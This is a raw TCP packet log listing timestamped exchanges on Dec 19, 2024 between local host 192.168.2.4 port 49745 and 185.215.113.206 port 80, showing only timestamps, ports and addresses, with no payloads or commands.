Dec 19, 2024 07:57:02.640429974 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.640475988 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.642194986 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.642250061 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.642343998 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.642390966 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.644181967 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.644237995 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.644277096 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.644320011 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.646151066 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.646208048 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.646255016 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.646301031 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.648133993 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.648210049 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.648231983 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.648289919 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.650196075 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.650257111 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.650307894 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.652070999 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.652173996 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.652234077 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.654073000 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.654434919 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.705843925 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.705856085 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.705956936 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.706182003 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.706370115 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.706420898 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.707268000 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.707457066 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.707516909 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.708741903 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.708754063 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.708805084 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.709750891 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.709916115 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.709983110 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.710849047 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.711040020 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.711091995 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.711203098 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.711250067 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.712223053 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.712234974 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.712280989 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.712733984 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.712744951 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.712780952 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.712810993 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.713577032 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.713690996 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.713741064 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.714786053 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.714889050 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.714936972 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.716026068 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.716077089 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.716166019 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.717248917 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.717314005 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.717371941 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.718463898 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.718516111 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.718558073 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.718601942 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.720856905 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.722625017 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.722682953 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.723378897 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.723390102 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.723401070 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.723438025 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.723550081 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.724539042 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.724586010 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.724706888 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.724750042 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.725761890 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.725950956 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.726012945 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.726941109 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.727127075 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.727185011 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.728219032 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.728389978 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.728454113 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.729487896 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.729500055 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.729545116 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.730792046 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.730803967 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.730843067 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.732072115 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.732084990 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.732121944 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.733216047 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.733227015 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.733262062 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.734308958 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.734508991 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.734549999 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.735600948 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.735611916 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.735675097 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.736738920 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.736923933 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.736972094 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.737715960 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.737728119 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.737770081 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.738105059 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.738224030 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.738272905 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.739397049 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.739445925 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.739518881 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.740571022 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.740621090 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.740694046 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.740905046 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.741815090 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.741915941 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.741966009 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.743037939 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.743154049 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.743204117 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.744229078 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.744287014 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.761941910 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.762062073 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.762171984 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.762514114 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.762655020 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.762717009 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.763696909 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.763757944 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.763828039 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.764930964 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.764983892 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.765007019 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.765614033 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.766050100 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.766134024 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.766182899 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.767226934 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.767365932 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.767420053 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.768399000 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.768482924 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.768520117 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.768594980 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.769552946 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.769604921 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.769659042 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.770715952 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.770842075 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.770893097 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.772093058 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.772146940 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.772146940 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.772193909 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.830852032 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.830996990 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.831007957 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.831096888 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.831156015 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.832261086 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.832315922 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.832443953 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.832492113 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.833544016 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.833554983 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.833605051 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.834688902 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.834705114 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.834783077 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.835788965 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.835840940 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.835958004 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.836922884 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.836975098 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.837086916 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.837594986 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.838146925 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.838323116 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.838373899 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.839306116 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.839323044 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.839368105 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.840539932 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.840593100 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.840713978 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.840785980 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.840835094 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.897031069 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.897106886 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.897234917 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.897454023 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.897524118 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.897603989 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.897650957 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.898351908 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.898462057 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.898524046 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.899286985 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.899432898 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.899482965 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.900217056 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.900274992 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.900350094 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.900832891 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.901149988 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.901201010 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.901289940 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.901345968 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.902159929 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.902215958 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.902268887 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.902318001 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.903088093 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.903153896 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.903178930 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.903223991 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.903975964 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.904032946 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.904107094 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.904232025 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.904989958 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.905049086 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.905169010 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.905287981 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.905872107 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.905971050 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.906022072 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.907002926 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.907052994 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.907510996 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.907565117 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.907962084 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.908015013 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.908116102 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.908319950 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.908842087 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.908914089 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.908961058 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.909630060 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.909687996 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.909775019 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.909826994 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.910577059 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.910634995 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.910691977 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.910798073 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.911530018 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.911573887 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.911608934 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.911621094 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.912465096 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.912543058 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.912988901 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.913038969 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.913409948 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.913460016 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.913568974 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.913691998 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.914345026 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.914408922 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.914459944 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.914474010 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.915359020 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.915445089 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.915482044 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.915565968 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.916302919 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.916347980 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.916403055 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.916568041 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.917212963 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.917259932 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.917345047 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.917412996 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.918291092 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.918346882 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.918354988 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.918390989 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.919080973 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.919127941 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.919198036 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.919348955 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.920032978 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.920100927 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.920142889 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.920253038 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.920969963 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.921067953 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.921070099 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.921114922 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.921910048 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.921964884 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.922077894 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.922117949 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.922878027 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.922955990 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.922972918 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.923090935 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.923857927 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.924088955 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.924105883 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.924747944 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.924799919 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.924864054 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.925026894 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.925713062 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.925765991 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.925853968 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.925898075 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.926758051 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.926804066 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.926837921 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.926856995 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.927648067 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.927689075 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.954474926 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.954525948 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.954541922 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.954580069 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.954812050 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.954914093 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.954920053 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.954989910 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.955725908 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.955837011 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.955843925 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.955888033 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.956770897 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.956821918 CET	49745	80	192.168.2.4	185.215.113.206
